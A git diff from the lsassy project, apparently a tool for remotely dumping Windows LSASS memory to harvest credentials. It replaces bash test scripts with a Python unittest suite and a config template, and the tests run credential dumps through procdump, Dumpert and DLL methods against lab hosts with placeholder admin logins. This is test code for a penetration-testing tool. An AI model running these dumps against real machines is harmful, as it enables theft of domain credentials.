-USER="domain/jdoe:password" - -# IP where -m 1 works -IP_OK="10.10.10.1" - -# Hostname of IP where -m 1 works -HOST_OK="APP01" - -# IP where lsass is protected with PPL or AV or EDR (empty to skip test) -IP_PROTECTED="" - -# Local tools for dumping methods (empty to skip test) -PROCDUMP="/path/to/procdump.exe" -DUMPERT="/path/to/dumpert.exe" \ No newline at end of file diff --git a/test/tests.sh b/test/tests.sh deleted file mode 100755 index 12c5658..0000000 --- a/test/tests.sh +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/bash - -if [[ $EUID -ne 0 ]]; then - echo "This script must be run as root" - exit 1 -fi - -smbserver.py -username test -password t3st -ip 127.0.0.1 C$ ./share &> /dev/null & - -echo -n "[TEST] Connexion error : " -RESULT=$(lsassy -j 'test:t3st@192.254.254.254' 2>&1) -RET=$(echo "$RESULT" | grep -c 'Connexion error') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Authentication error : " -RESULT=$(lsassy -j 'test:test@127.0.0.1' 2>&1) -RET=$(echo "$RESULT" | grep -c 'Authentication error') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Error opening share : " -RESULT=$(lsassy -j 'test:t3st@127.0.0.1' --dumppath "E\$/Windows/Temp" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Error opening share') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Error opening file : " -RESULT=$(lsassy -j 'test:t3st@127.0.0.1' --dumppath "C\$/Windws/Temp" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Error opening file') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] Method not supported : " -RESULT=$(lsassy -j 'test:t3st@127.0.0.1' -m 99 --timeout 1 2>&1) -RET=$(echo "$RESULT" | grep -c 'Method not supported') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] Parse remote dump : " -RESULT=$(lsassy -j 'test:t3st@127.0.0.1' --dumppath "C\$/lsass.dmp" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Password') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -kill $! \ No newline at end of file diff --git a/test/tests_dev.sh b/test/tests_dev.sh deleted file mode 100755 index d861523..0000000 --- a/test/tests_dev.sh +++ /dev/null @@ -1,197 +0,0 @@ -#!/bin/bash - -DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" - -if [ ! -f "$DIR/tests.config.sh" ] -then - echo -n "Error: " - echo "$DIR/tests.config.sh does not exist" - echo "Please rename tests.config.sh.tpl to tests.config.sh and change its content to match your environment" - exit -fi - -source ./tests.config.sh - -echo -n "[TEST] Connexion error : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@192.254.254.254" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Connexion error') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Authentication error : " -RESULT=$(lsassy -j "test/test:t3st@${IP_OK}" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Authentication error') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Access denied : " -RESULT=$(lsassy -j "${USER}@${IP_OK}" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Access denied') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Error opening share : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" --dumppath "E\$/Windows/Temp" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Error opening share') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Error opening file : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" --dumppath "C\$/Windws/Temp" 2>&1) -RET=$(echo "$RESULT" | grep -c 'Error opening file') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] Method not supported : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 99 --timeout 1 2>&1) -RET=$(echo "$RESULT" | grep -c 'Method not supported') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] lsass is protected : " -if [ "$IP_PROTECTED" != "" ] && [ "$PROCDUMP" != "" ] -then - RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_PROTECTED}" -m 2 --timeout 1 -p /home/pixis/Tools/Windows/Sysinternals/procdump.exe 2>&1) - RET=$(echo "$RESULT" | grep -c 'protected') - if [ "$RET" -gt 0 ] - then - echo -e "\e[32mSuccess\e[39m" - else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" - fi -else - echo -e "\e[33mSkipped\e[39m" -fi - -echo -n "[TEST] json : " -RESULT=$(lsassy "${DOMAIN_ADMIN}@${IP_OK}" --raw -j 2>&1) -RET=$(echo "$RESULT" | grep -c '"LKAPP01\$"') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] raw : " -RESULT=$(lsassy "${DOMAIN_ADMIN}@${IP_OK}" --raw 2>&1) -RET=$(echo "$RESULT" | grep -c '\\LKAPP01\$') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Method 0 : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 0 --timeout 1 -p /home/pixis/Tools/Windows/Sysinternals/procdump.exe 2>&1) -RET=$(echo "$RESULT" | grep -c '{') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Method 1 : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 1 --timeout 1 2>&1) -RET=$(echo "$RESULT" | grep -c '{') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] Method 2 : " -if [ "$PROCDUMP" != "" ] -then - RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 2 --timeout 1 -p /home/pixis/Tools/Windows/Sysinternals/procdump.exe 2>&1) - RET=$(echo "$RESULT" | grep -c '{') - if [ "$RET" -gt 0 ] - then - echo -e "\e[32mSuccess\e[39m" - else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" - fi -else - echo -e "\e[33mSkipped\e[39m" -fi - -echo -n "[TEST] Method 3 : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 3 --timeout 1 2>&1) -RET=$(echo "$RESULT" | grep -c '{') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - -echo -n "[TEST] Method 4 : " -RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 4 --timeout 1 2>&1) -RET=$(echo "$RESULT" | grep -c '{') -if [ "$RET" -gt 0 ] -then - echo -e "\e[32mSuccess\e[39m" -else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" -fi - - -echo -n "[TEST] Method 5 : " -if [ "$DUMPERT" != "" ] -then - RESULT=$(lsassy -j "${DOMAIN_ADMIN}@${IP_OK}" -m 5 --timeout 1 -u /home/pixis/Tools/Windows/Dumpert/Outflank-Dumpert.exe 2>&1) - RET=$(echo "$RESULT" | grep -c '{') - if [ "$RET" -gt 0 ] - then - echo -e "\e[32mSuccess\e[39m" - else - echo -e "\e[31mFailure\e[39m" - echo -e "--- Log ---\n$RESULT\n-----------" - fi -else - echo -e "\e[33mSkipped\e[39m" -fi \ No newline at end of file diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..1653cd1 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,5 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + diff --git a/tests/tests.py b/tests/tests.py new file mode 100755 index 0000000..78eb47d --- /dev/null +++ b/tests/tests.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python3 +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + + +import unittest + +from lsassy.utils.defines import * +from lsassy.modules.dumper import Dumper +from lsassy.modules.impacketconnection import ImpacketConnection +from lsassy.modules.impacketfile import ImpacketFile +from lsassy.modules.logger import Logger +from lsassy.modules.writer import Writer +from lsassy.core import Lsassy +from tests.tests_config import * + + +class test_impacketconnection(unittest.TestCase): + def setUp(self): + self.log = Logger(Logger.Options(verbosity=0, quiet=True)) + self.conn = None + + def tearDown(self): + if isinstance(self.conn, ImpacketConnection): + self.conn.clean() + + def test_login_dns_error(self): + self.conn = ImpacketConnection(ImpacketConnection.Options("pixis.hackndo", domain, da_login, da_password)) + self.conn.set_logger(self.log) + ret = self.conn.login() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DNS_ERROR[1], ret.error_msg) + + def test_login_connection_error(self): + self.conn = ImpacketConnection(ImpacketConnection.Options("255.255.255.255", domain, da_login, da_password)) + self.conn.set_logger(self.log) + ret = self.conn.login() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_CONNECTION_ERROR[1], ret.error_msg) + + def test_login_login_error(self): + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, da_login, "wrong_password")) + self.conn.set_logger(self.log) + ret = self.conn.login() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_LOGIN_FAILURE[1], ret.error_msg) + + def test_login_login_success(self): + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, da_login, da_password)) + self.conn.set_logger(self.log) + ret = self.conn.login() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) + + def test_is_admin(self): + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, da_login, da_password)) + self.conn.set_logger(self.log) + self.conn.login() + ret = self.conn.isadmin() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) + + @unittest.skipUnless(usr_login and usr_password, "No low privileged user credential provided") + def test_is_admin_error(self): + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, usr_login, usr_password)) + self.conn.set_logger(self.log) + self.conn.login() + ret = self.conn.isadmin() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_ACCESS_DENIED[1], ret.error_msg) + + +class test_impacketfile(unittest.TestCase): + def setUp(self): + self.log = Logger(Logger.Options(verbosity=0, quiet=True)) + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, da_login, da_password)) + self.conn.set_logger(self.log) + self.conn.login() + self.ifile = ImpacketFile(self.conn, self.log) + + def tearDown(self): + self.ifile.clean() + self.conn.clean() + + def test_path_error(self): + ret = self.ifile.open("RANDOM") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg) + + def test_share_error(self): + ret = self.ifile.open("RANDOM/path/file") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_SHARE[1], ret.error_msg) + + def test_file_error(self): + ret = self.ifile.open("C$/path/file") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_FILE[1], ret.error_msg) + + def test_file_success(self): + ret = self.ifile.open("C$/Windows/System32/calc.exe") + ret.clean() + self.assertIsInstance(ret, ImpacketFile) + + +class test_dumper(unittest.TestCase): + def setUp(self): + self.log = Logger(Logger.Options(verbosity=0, quiet=True)) + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address, domain, da_login, da_password)) + self.conn.set_logger(self.log) + self.conn.login() + + def tearDown(self): + self.conn.clean() + + """ + DLL Method + """ + def test_dll_dump_invalid_shell(self): + ret = Dumper(self.conn).dll_dump(("wmi",), "unknown") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) + + def test_dll_execute_error(self): + ret = Dumper(self.conn).dll_dump((), "cmd") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg) + + def test_dll_execute_success(self): + ret = Dumper(self.conn).dll_dump(("task",), "cmd") + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) + + """ + Procdump Method + """ + def test_procdump_missing_parameter(self): + ret = Dumper(self.conn).procdump_dump(("wmi",)) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg) + + def test_procdump_invalid_parameter(self): + dump_option = Dumper.Options() + dump_option.procdump_path = "/invalid/path" + ret = Dumper(self.conn, dump_option).procdump_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg) + + @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") + def test_procdump_upload_error(self): + dump_option = Dumper.Options() + dump_option.procdump_path = procdump_path + dump_option.share = "INVALID_SHARE" + ret = Dumper(self.conn, dump_option).procdump_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg) + + @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") + def test_procdump_execute_error(self): + dump_option = Dumper.Options() + dump_option.procdump_path = procdump_path + dump = Dumper(self.conn, dump_option) + ret = dump.procdump_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg) + dump.clean() + + """ + Dumpert Method + """ + def test_dumpert_missing_parameter(self): + ret = Dumper(self.conn).dumpert_dump(("wmi",)) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg) + + def test_dumpert_invalid_parameter(self): + dump_option = Dumper.Options() + dump_option.dumpert_path = "/invalid/path" + ret = Dumper(self.conn, dump_option).dumpert_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg) + + @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") + def test_dumpert_upload_error(self): + dump_option = Dumper.Options() + dump_option.dumpert_path = dumpert_path + dump_option.share = "INVALID_SHARE" + ret = Dumper(self.conn, dump_option).dumpert_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg) + + @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") + def test_dumpert_execute_error(self): + dump_option = Dumper.Options() + dump_option.dumpert_path = dumpert_path + dumper = Dumper(self.conn, dump_option) + ret = dumper.dumpert_dump(()) + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg) + dumper.clean() + + """ + Dump generic + """ + def test_dump_method_unknown(self): + dump_option = Dumper.Options() + dump_option.method = 99 + ret = Dumper(self.conn, dump_option).dump() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) + + def test_dump_success(self): + dumper = Dumper(self.conn) + ret = dumper.dump() + dumper.clean() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) + + + + +@unittest.skipUnless(procdump_path, "Procdump path wasn't provided") +@unittest.skipUnless(ip_address_protected, "No IP address with protected LSASS was provided") +class test_dumper_protected(unittest.TestCase): + def setUp(self): + self.log = Logger(Logger.Options(verbosity=0, quiet=True)) + self.conn = ImpacketConnection(ImpacketConnection.Options(ip_address_protected, domain, da_login, da_password)) + self.conn.set_logger(self.log) + self.conn.login() + + def tearDown(self): + self.conn.clean() + + def test_dump_protected(self): + dump_option = Dumper.Options() + dump_option.method = 2 + dump_option.procdump_path = procdump_path + dumper = Dumper(self.conn, dump_option) + ret = dumper.dump() + self.assertIsInstance(ret, RetCode) + self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg) + dumper.clean() + +class test_lsassy(unittest.TestCase): + def setUp(self): + log_options = Logger.Options(verbosity=0, quiet=True) + write_options = Writer.Options(format="none") + self.lsassy = Lsassy(ip_address, da_login, domain, da_password, log_options=log_options, write_options=write_options) + + def tearDown(self): + self.lsassy.clean() + + def test_lsassy_success(self): + ret = self.lsassy.run() + self.assertEqual(0, ret) + + +if __name__ == '__main__': + unittest.main() + diff --git a/tests/tests_config.py.template b/tests/tests_config.py.template new file mode 100644 index 0000000..604c460 --- /dev/null +++ b/tests/tests_config.py.template @@ -0,0 +1,29 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +""" +# RENAME THIS FILE TO tests_config.py +""" + +# IP address where LSASS can be dumped +ip_address = "192.168.1.101" + +# IP address where LSASS is protected (empty to skip tests) +ip_address_protected = "192.168.1.112" + +# Domain Name +domain = "lion.king" + +# User with admin rights on ip_address and ip_address_protected +da_login = "simba" +da_password = "Imtheking!" + +# User without admin rights on ip_address (empty to skip tests) +usr_login = "skar" +usr_password = "YouDontWannaMessWithMe" + +# Local tools for dumping methods (empty to skip tests) +procdump_path = "/home/pixis/Tools/Windows/Sysinternals/procdump.exe" +dumpert_path = "/home/pixis/Tools/Windows/Dumpert/Outflank-Dumpert.exe" \ No newline at end of file